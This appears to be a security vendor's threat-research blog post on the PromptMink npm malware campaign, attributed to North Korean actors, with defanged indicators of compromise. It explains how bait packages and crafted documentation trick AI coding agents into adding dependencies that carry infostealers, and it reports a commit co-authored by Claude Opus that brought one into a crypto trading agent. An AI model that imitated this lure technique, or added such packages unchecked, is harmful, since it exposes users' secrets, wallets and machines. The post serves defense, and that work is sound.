Claude adds malware to crypto agent

ReversingLabs (RL) researchers discovered malicious code in a crypto trading project after an AI-based coding agent added a malicious package as a dependency. The @validate-sdk/v2 package poses as a routine data validation tool while siphoning off sensitive secrets from its host environment.

The new malware campaign, which RL has dubbed PromptMink, involves a tainted package that was introduced in a Feb. 28 commit to an autonomous trading agent. The commit was co-authored by Anthropic’s Claude Opus large language model (LLM). It allows attackers to access users’ crypto wallets and funds.

The incident is part of a broader campaign tied to the North Korean-linked group Famous Chollima, which is leveraging AI-generated code and a layered package strategy to evade detection and more effectively deceive automated coding assistants than human developers.

Here's what you need to know about PromptMink — including a deep analysis and IOCs — and what your team can do to secure your software development.

Discussion: PromptMink's evolution

RL researchers have been observing and detecting malicious versions of the npm package @validate-sdk/v2 since October 2025. The package exports functions that pretend to encode data and validate hashes, while in fact exfiltrating any secrets found in the environment. The package is used by openpaw-graveyard, an npm package implementing an autonomous crypto trading agent.

The AI agent-generated packages were added as a dependency in a commit made on February that resulted in the agent executing malicious code, giving attackers access via leaked credentials to the user’s crypto wallets and funds. 

Famous Chollima's signature is the heavy use of LLMs to generate malicious packages that have been more successful in tricking LLM coding agents than humans to use them. Its success is probably due to the multilayered approach which separates the lure from the malicious package.

This incident is preceded by malware authors publishing multiple malicious packages and their versions throughout the past six months, all with the intent to lure the developers (or AI coding agents) to use them in their projects. The campaign itself is a textbook example of an architected software supply chain compromise on an open-source repository, namely npm.

The attack uses a multi-layered approach, where the first layer packages don’t contain the malicious code, but import the second layer packages that contain the malicious functionality. The latter packages are disposable and easily replaced once detected or removed from npm.

As noted, the first layer are the packages that don't contain malicious code themselves and are intended as bait for the unsuspecting user, generally targeting Web3 developers. Some examples of first layer packages associated with this campaign are: 

• @solana-launchpad/sdk — used by openpaw-graveyard
• @meme-sdk/trade
• @validate-ethereum-address/core
• @solmasterv3/solana-metadata-sdk
• @pumpfun-ipfs/sdk
• @solana-ipfs/sdk

They implement some functionality related to cryptocurrencies. And each package lists many dependencies, most of which are popular npm packages with download counts in the millions and billions, like axios, bn.js etc. However, a small number of the dependencies are malicious packages from the second layer. 

Multiple strategies are used to help these malicious, second layer packages from being detected. Often, functions contained in the listed popular packages are copied and altered to create a malicious counterpart implemented in the malicious, second layer packages. Typosquatting — or using names and descriptions that mimic legitimate, popular packages (e.g. validator) — is also frequently seen.

RL’s analysis of of @validate-sdk/v2 reveals that the malicious packages seem to have been vibe-coded, created with the help of generative AI, with leftover LLM responses present in some of the file comments. 

The PWN show must go on!

The first package version published in this campaign that we detected  was @hash-validator/v2 in September of 2025 with infostealing capability. This package was one of the second layer packages we discovered. Its publication was closely followed by the initial version of @solana-launchpad/sdk, a legitimate-seeming first layer package that only added @hash-validator/v2 as a dependency in version 1.0.2.

The development of the two packages continued in parallel until @hash-validator/v2 was removed from npm and replaced with a security holding artifact on October 7, after having been detected as malicious by the RL research team from September 25 onwards. That cleaning action on npm also removed three other npm packages originally published September 22-23 that are part of this campaign, all implementing some form of info-stealing capability. They posed as low-level utility packages related to encryption and Jito Network on the Solana blockchain, namely:

• aes-create-ipheriv
• jito-proper-excutor
• jito-sub-aes-ipheriv

The malicious actors reacted promptly, releasing @validate-sdk/v2 on the same day and assigning it the last version number (1.22.11) of its predecessor @hash-validator/v2, without changing the source code in the slightest. This was followed by a release of a new version of @solana-launchpad/sdk with the updated dependency pointing to the @validate-sdk/v2 package. 

In the following weeks, the actors diversified their portfolio of malicious packages, in both the first and the second layers. This diversification drew more attention to the campaign, which resulted in JFrog reporting on a part of it in their blog post. A second layer package used in that part of the campaign was removed from npm a couple of days prior to that post. And, just as their blog was published on November 20, the threat actors released a new version of @validate-ethereum-address/core, replacing the malicious dependency once again with @validate-sdk/v2.

These reactions by the actors really highlight the advantage of separating the campaign in two layers of “bait” and “payload” packages. With the first layer packages unaffected, the threat actors didn’t have to continually rebuild the credibility of their first layer “bait” packages even as multiple malicious dependencies were detected. Instead, they could continue to build the reputation of the first layer “bait” packages while simply replacing detected malicious dependencies with new, undetected packages that contained identical code.

PromptMink payload: Painted like the wings of butterflies

The next couple of months saw a butterfly-like transformation of the malicious payload delivered in @validate-sdk/v2. Even though the actors published and maintained many other malicious packages in this period, the malicious payloads connected to @validate-sdk/v2 provide the best  examples of the development of the attackers’ techniques on npm. 

What can be said upfront is that the malware instances published during this time all look similar to each other, even when implemented in different programming languages. Taking that into account, we named the malware family PromptMink, due to the persistent vibe coding of both the lure and malicious packages.

The actors’ transformation of the PromptMink malware happened in the following order:

1. Use of JS payloads obfuscated with help of LLMs (September 2025 - January 2026)
2. Publishing a PyPI package with same malicious functionality (23rd of February 2026)
3. Bundling obfuscated JS code together with Node executables (28th of February 2026)
4. Writing Rust payloads and shipping compiled addon modules (17th of March 2026)

It was in the second phase (2) that the actors started dropping their SSH keys onto the victims' machines. In the final phase (4), with the compiled Rust payloads, the actors started zipping and exfiltrating entire projects, including  source code, stealing intellectual property. We even saw the spread of this campaign to PyPI in the PyPI package named scraper-npm. 

The following sections take a more detailed look at each of those payloads and their functionality.

Payloads of yesterday grow but never die

The initial payload which @validate-sdk/v2 inherited from @hash-validator/v2 was an obfuscated JS infostealer with a base64 encoded exfiltration URL (Figure 1). The infostealer scans the current working directory recursively for any .env or .json files and collects them for exfiltration (Figure 2).

Figure 1. Initial attempt at detection evasion by using base64 encoded URL

Figure 2. Recursive walk through directories and collection of sensitive files

The README file in this package contains clues that suggest an LLM coding agent was used to produce this obfuscated code. Among those clues is a leftover question from the LLM asking if it should “also obfuscate the README a bit” (Figure 3). 

Once decoded, the URL used in this version is httpx://ipfs-url-validator.vercel.app/fetchbs58 — a Vercel app. It wasn’t until version 1.22.15 (published on November 26th 2025) that the actors switched to using a dedicated domain validator[.]uno for this campaign.

Figure 3. LLM asking if it should also obfuscate the README

SEA indicates detection evasion

It became clear that the obfuscation method used in the previously analyzed version of @validate-sdk/v2 was insufficient, as the obfuscated packages were getting detected and removed. In response to that, the threat  actors decided to try and hide the payloads in executable files. That leads us to @validate-sdk/v2 version 1.22.17 published in February of 2026, which saw the payload size skyrocket from 5.1KB to around 85MB. Most of that growth was due to the inclusion of a Node executable. However, version 1.22.17 also included an embedded JS payload with features that improved the exfiltration target file selection process. 

These kinds of bundles of Node with JS code are known as SEA (Single Executable Applications) – used to simplify distribution of standalone applications implemented in JS. Abuse of this Node.js feature was previously seen in malware in the autumn of 2025 with the Stealit RAT. Malicious JS payload was carved out of the binary we found in the new version of @validate-sdk/v2 with RL’s Spectra Analyze, which leverages RL’s Spectra Core to perform a deep binary analysis of the file. 

The only reason for use of SEA as payload in this case is detection evasion. That’s because npm packages are always used in environments where a JS interpreter is already present, be it a browser or Node.js that the developer uses to run their application. This definitely begs the question of how the package uses this payload. An answer to that can be found in the loader.mjs (Figure 4)  and loader.cjs (Figure 5) files. 

Figure 4. Spawning the process and setting up the communication with it

Upon the file being loaded, a path to the executable is constructed, taking into account the host OS. Furthermore, in Figure 4, a function that creates the process and takes care of input and output forwarding is implemented. And lastly, Figure 5 shows the JS wrappers which are exported by the module.

Figure 5. Defining and exporting function wrappers

The very next version of @validate-sdk/v2, 1.22.18, saw a linux binary added. The SEA format was used in many of the following versions of the package. The payload changed two weeks later in the version 1.22.27 when the actors also added their public SSH key to the victim’s ~/.ssh/authorized_keys file, granting them remote access via an SSH session. This was only done if the Linux OS was detected. In the case of Windows and Mac operating systems being detected, only exfiltration of sensitive files was performed, as can be seen in an excerpt from the payload (Figure 6). This  payload was carved out of a Windows PE executable, showing how the actors reused the JS payload across OS-specific binaries, with the payload itself being OS-aware.

Figure 6. Adding a public SSH key to the victim’s machine in an OS-aware manner

While the carved out file is difficult to read, in version 1.0.4 of the pino-pretty-logger package published a couple of days earlier (thought to be a test for the new LLM payload), the authors leaked verbosely commented code very similar in functionality to the code they shipped in the SEA. The following snippets in Figures 7 and 8 show their TypeScript declarations which describe the functionality in detail.

Figure 7. TypeScript function declarations of the malicious code, part 1

Figure 8. TypeScript function declarations of the malicious code, part 2

Empty spaces and abandoned SEAs: pivot to Rust

The SEA payloads had a notable disadvantage: their size. Looking at the package, it was highly unusual to see binaries — let alone binaries of such a large size (100+ MB in some cases).  These Payloads of Unusual Size (P.O.U.S) led to the next pivot in payload development: using NAPI-RS to create pre-compiled Node.js add-ons in Rust.

The authors first tested this approach on 17th and 18th of March in a newly released package @slackgram/logger which they also added as a dependency to the first stage @solana-launchpad/sdk package. The implementation of these Node.js addons in @slackgram/logger is verbosely commented in an LLM-like manner, strongly suggesting the use of LLMs in its development.

Only a week later, once they were satisfied with the payload, the actors used the same technique in version 1.22.30 of @validate-sdk/v2 published on March 24th. The payload functionality is mostly similar to what we have seen so far, albeit with a couple changes. Those included exfiltrating found projects’ source code and adding SSH support for Windows — dropping the actor's public SSH key into the “C:\Users\{USERNAME}\.ssh” file. 

The in-memory zipping of locally found projects can be seen in Figure 9 and it was followed by exfiltration (Figure 10) to validator[.]uno, the previously seen domain. Analysis shows how the authors carefully handled the errors in their Rust code, resembling the kind of informative messaging commonly written by LLMs (but not as often by human developers). 

Figure 9. Decompiled code showing filtering of massive auto-generated project folders

Figure 10. Error handling

Does anyone want to take it anymore?

It is the purpose of any campaign to have the malicious package installed by un-suspecting users. The sheer number of packages published as part of this campaign and the README files written for each to boast about how effective they are in performing their task suggest that the real targets might have been the AI coding agents looking for packages that would fit their use case perfectly. Real-world examples of where these malicious packages were implemented seem to support that claim.

The first trace the team found of anybody using the packages from the campaign was in January 2026 on Moltbook, a community platform where LLM agents discuss various topics and post about their work. In a post on Moltbook, a bot named Zora shared that it had created a memecoin. In a later comment on what the hardest part was (Figure 11.), the bot reveals how @solana-launchpad/sdk had a function it needed. This was also commented on by the bot’s human owner on X.

Figure 11. Zora explaining how it used @solana-launchpad/sdk

The second case we found is even more interesting. The package openpaw-graveyard published by Purple Squirrel Media appears to have been developed as part of the Solana Graveyard Hackathon. It added @solana-launchpad/sdk as a dependency. The agent implemented in the package has various capabilities, as outlined in its README, part of which can be seen in Figure 12. After some digging into the git repository of the package, we found that the malicious dependency was added in a commit co-authored by Claude Opus (Figure 13).

Figure 12. Crypto trading agent capabilities

Figure 13. Claude Opus co-authored the commit adding malicious dependency

Not just another mindless crime

The RL research team's analysis is that this campaign is not just another mindless threat actor testing out their offensive LLM-powered coding skills. The IOCs we gathered strongly suggest that the North Korean group known as Famous Chollima is behind it. That is the same malicious actor to whom we previously attributed the “graphalgo” campaign that lured developers using sophisticated phishing campaigns involving fake job interviews and code tests that delivered malicious packages to crypto developers’ systems. 

The clues that suggest Famous Chollima was behind this campaign include: 

• Use of *.vercel.app for C2 deployment
• Targeting blockchain and cryptotrading utilities
• C2 infrastructure — typically using endpoints /api/validate/files, /api/validate/project-env, /api/validate/system-info to exfiltrate user data.
• Persistence (e.g. 6 months long development of a single package)

Our threat hunting effort uncovered more than 20 different domains and IP addresses used in this campaign across more than 300 different published versions of 60 unique packages over the period of 7 months. As we write, there are no signs of this campaign stopping. 

While the packages and the infection methods described in this blog are distinctive, the detected packages significantly overlap with other known malicious supply chain campaigns attributed to state-sponsored North Korean actors. Those include the Contagious Trader campaign (which also noted the use of Rust), WebSocket Stealer and its pivot towards SEA payloads, both of which point to Famous Chollima.

Overarching functionalities discovered

The functionalities revealed by our analysis of @validate-sdk/v2 appear in various versions of that package and other packages in this campaign. In February of 2026, for example, the actors published a malicious package named scraper-npm on PyPI. It contains well-commented and documented code implementing the same malicious functionality found in the versions of @validate-sdk/v2, we analyzed - only now they were implemented in python. 

Notably: the scraper-npm package pre-dates the npm variants that implement the same functionality by a couple of days. Together with the well commented code seen in @slackgram/logger, this again points us to the use of LLMs for malware development.

Among the list of the capabilities seen in PromptMink are:

• Adding an SSH key (Linux, Windows supported in compiled Rust payloads)
• Collecting and exfiltrating basic user info (OS, public and local IPs, username)
• Scanning directories (/home on Linux, all drives on Windows and /Users on MAC) for .env and .json files with a hardcoded exclusion list as well as files with crypto-related names (Figure 14.)
• Compressing and exfiltrating entire projects (supported in compiled Rust payloads)

Figure 14. Files with crypto-related names are targeted

We believe PromptMink to be sufficiently different from other infostealers in the DPRK’s toolkit. So far, their toolkit consists of 3 well documented modular malware families known to the industry: BeaverTail, InvisibleFerret and OtterCookie. In this blog, we observed PromptMink’s development from a relatively simple infostealer to a stealthy, specialized multi-platform infostealer which drops SSH backdoors on both Linux and Windows machines. Despite some functional overlaps, it doesn’t seem to be a new version of OtterCookie because the described development appears to have happened independently and not as a continuation of an existing malware. 

PromptMink didn’t directly inherit malicious functionality previously seen in OtterCookie and InvisibleFerret, it was developed from the ground up by generating malicious code using LLMs. Regardless, the actor developing and operating PromptMink is the same, even making the same OPSEC mistakes of leaking unobfuscated code (above noted cases of scraper-npm on PyPI and pino-pretty-logger and @slackgram/logger on npm), resulting in similar functionality overall.

Fighting fire with fire — and a bit of water

This campaign presents us with the new frontier in software supply chain security: AI coding agents manipulated into installing and using malicious dependencies in the code they generate. The underlying problem is, in principle, not much different from the well established pattern of cybercriminals and malicious actors socially engineering developers to use malicious packages in their codebase. Where it differs is in the ability of the threat actors to test their lure before it is deployed. 

This transforms the technique from social engineering to a combination of LLM Optimization (LLMO) abuse and knowledge injection. In the context of this campaign, the goal is to make the LLM likely to recommend using the malicious package by making the documentation as believable (knowledge injection) and as appropriate as possible in the project that the specific LLM coding agent is working on. Stealth is achieved by hiding malicious code from the files that LLMs can easily parse — in this case, that meant moving the payload into the binary files.

How to harden AI coding agents

The various shapes these payloads took stress the importance of detailed static analysis of all dependencies included into a project. The Spectra Assure Community runs such a scan for each package published to any of the monitored OSS repositories; exposes the results for browsing on the website; and offers various free API integrations of the results into developers’ workflows. Two integrations that stand out due to the nature of this compromise are Spectra Assure Community MCP Server and Claude Code skills for Spectra Assure. Those tools enrich your coding agent’s context (the proverbial fire) with data about malware, vulnerabilities, tampering and policy violations that concern any open source component from a supported OSS repository it might consider using. 

This approach ensures your agent takes into account deterministic and carefully curated data concerning risks lurking from packages they want to add to your project, and their dependencies.

There are humans in the loop

While RL works hard at making automatic detections as precise as possible, a complementary addition to those results are the manual analysis verdicts made by our threat analysts and researchers. 

The results of manual review of the payloads found in @validate-sdk/v2 have been available on the site since the package was released. By adding RL’s MCP server to the Gemini CLI, the LLM can easily fetch RL data about @solana-launchpad/sdk package and clarify to the user why they shouldn’t use it in their code (Figure 15).

Figure 15. Gemini uses RL’s MCP server to advise against installing @solana-launchpad/sdk

Developer tools in threat actors' sights

This campaign demonstrates how coordinated, malicious software supply chain campaigns can more easily find their way into developer’s environments. Our research revealed an evolving payload design that adds more layers of stealth in each phase - an important subject for application security teams. 

Just as important is how the campaign revealed how attackers are tricking LLM coding agents into employing malicious packages in the code they generate.

The threats lurking from the software supply chain affect developers and organizations in all phases of development — even at the moment of writing the code itself. The consequences of that are significant. The next time you accept an LLM-generated edit of your project source code, you may be introducing malicious code that exposes your secret tokens, wallets, intellectual property and even hands over the control of the computer to malicious actors.

The RL research team advises developers and organizations to do their best to shield themselves from these kinds of attacks by practicing caution and also by utilizing platforms created to mitigate these risks, such as RL’s free Spectra Assure Community. Adding valuable threat intelligence into the context of your LLM agent is the first step, and should be followed with CI/CD integrations that monitor your pipelines and GitHub actions to protect your builds.

Join RL's free Spectra Assure Community to leverage advanced binary analysis and discover the newest open-source threats and malicious packages like the ones from this campaign.

Indicators of Compromise (IOCs) 

Indicators of Compromise (IOCs) refer to forensic artifacts or evidence related to a security breach or unauthorized activity on a computer network or system. IOCs play a crucial role in cybersecurity investigations and cyber incident response efforts, helping analysts and cybersecurity professionals identify and detect potential security incidents.

The following IOCs were collected as part of RL investigation of this software supply chain campaign.

C2 endpoints: 
/api/validate/files
/api/validate/project-env
/api/validate/system-info

C2 domains and IP addresses:
45[.]61[.]161[.]146
45[.]8[.]22[.]144
45[.]8[.]22[.]52
api-sub[.]jrodacooker[.]dev
api[.]bensaru[.]site
api[.]fivefingerz[.]dev
api[.]mywalletsss[.]store
api[.]soladify[.]fun
blxrbn[.]com
changelog[.]rest
clob-polymarket[.]com
ghostraper[.]top
ipfs-url-validator[.]vercel[.]app
log[.]pricesheet[.]ink
logger[.]clob[.]health
mywalletsss[.]store
navigatorshub[.]com
polblxpnl[.]space
polygon-rpc[.]com
polymarket-clob[.]com
rpc-amoy[.]polygon[.]technology
validator[.]uno
winstonjs[.]site

PyPI package:

npm packages: